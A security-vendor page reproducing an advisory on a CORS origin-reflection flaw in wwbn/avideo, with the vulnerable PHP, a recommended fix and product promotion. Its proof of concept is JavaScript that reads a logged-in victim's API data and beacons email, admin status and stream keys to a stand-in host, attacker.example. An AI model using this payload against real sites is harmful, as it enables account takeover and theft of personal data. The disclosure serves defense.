GHSA-ccq9-r5cw-5hwq is a high-severity (CVSS 8.1) vulnerability in wwbn/avideo. O3 Security confirms whether GHSA-ccq9-r5cw-5hwq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The allowOrigin($allowAll=true) function in objects/functions.php reflects any arbitrary Origin header back in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true. This function is called by both plugin/API/get.json.php and plugin/API/set.json.php — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's SameSite=None session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.
Details
The vulnerable code path is in objects/functions.php lines 2773-2791:
// objects/functions.php:2773
if ($allowAll) {
$requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (!empty($requestOrigin)) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
} else {
header('Access-Control-Allow-Origin: *');
}
// ... allows all methods and headers ...
return;
}
This is called unconditionally at the top of both API entry points:
// plugin/API/get.json.php:12
allowOrigin(true);
// plugin/API/set.json.php:12
allowOrigin(true);
The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data" — this is incorrect. The same allowOrigin(true) call gates the entire API surface.
The attack is enabled by the session cookie configuration at objects/include_config.php:144:
ini_set('session.cookie_samesite', 'None');
This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via $_SESSION['user']['id'] (in User::getId()).
When a logged-in user's session is present, the get_api_user endpoint (API.php:3009) returns full user data without sanitization for the user's own profile ($isViewingOwnProfile = true bypasses removeSensitiveUserFields), including:
- Email, full name, address, phone, birth date (PII)
- Admin status and permission flags
- Livestream server URL with embedded password (API.php:3059)
- Encrypted stream key (API.php:3063)
The recent fix in commit 986e64aad addressed CORS handling in the non-$allowAll path (null origin and trusted subdomains) but left this far more dangerous $allowAll=true path completely untouched.
PoC
Step 1: Host the following HTML on any domain (e.g., https://attacker.example):
<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Step 1: Steal user profile data (PII, admin status, stream keys)
fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
document.getElementById('result').textContent = JSON.stringify(data, null, 2);
// Exfiltrate to attacker server
navigator.sendBeacon('https://attacker.example/collect',
JSON.stringify({
email: data.user?.email,
name: data.user?.user,
isAdmin: data.user?.isAdmin,
streamKey: data.livestream?.key,
streamServer: data.livestream?.server
})
);
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>
Step 2: Victim visits the attacker page while logged into the AVideo instance.
Step 3: The browser sends a credentialed cross-origin GET request to the API. The server responds with:
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true
Step 4: The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.
Step 5 (optional escalation): The attacker can also invoke set.json.php endpoints to perform state changes on behalf of the victim.
Impact
- User PII theft: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page
- Account compromise: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking
- Admin reconnaissance: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts
- State modification: The
set.json.phpendpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim - Mass exploitation: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor
Recommended Fix
Replace the permissive origin reflection in allowOrigin() with validation against the site's configured domain. The $allowAll path should validate the origin the same way the non-$allowAll path does:
// objects/functions.php:2773 — replace the $allowAll block with:
if ($allowAll) {
$requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (!empty($requestOrigin)) {
// Validate origin against site domain before reflecting
$siteOrigin = '';
if (!empty($global['webSiteRootURL'])) {
$parsed = parse_url($global['webSiteRootURL']);
if (!empty($parsed['scheme']) && !empty($parsed['host'])) {
$siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];
if (!empty($parsed['port'])) {
$siteOrigin .= ':' . $parsed['port'];
}
}
}
if ($requestOrigin === $siteOrigin) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
} else {
// For truly public resources (ad XML), allow without credentials
header('Access-Control-Allow-Origin: ' . $requestOrigin);
// Do NOT set Allow-Credentials for untrusted origins
}
} else {
header('Access-Control-Allow-Origin: *');
}
// ... rest of headers ...
}
Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive allowOrigin(true) call.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-ccq9-r5cw-5hwq yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-ccq9-r5cw-5hwq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-ccq9-r5cw-5hwq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-ccq9-r5cw-5hwq in your dependencies?
O3 detects GHSA-ccq9-r5cw-5hwq across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.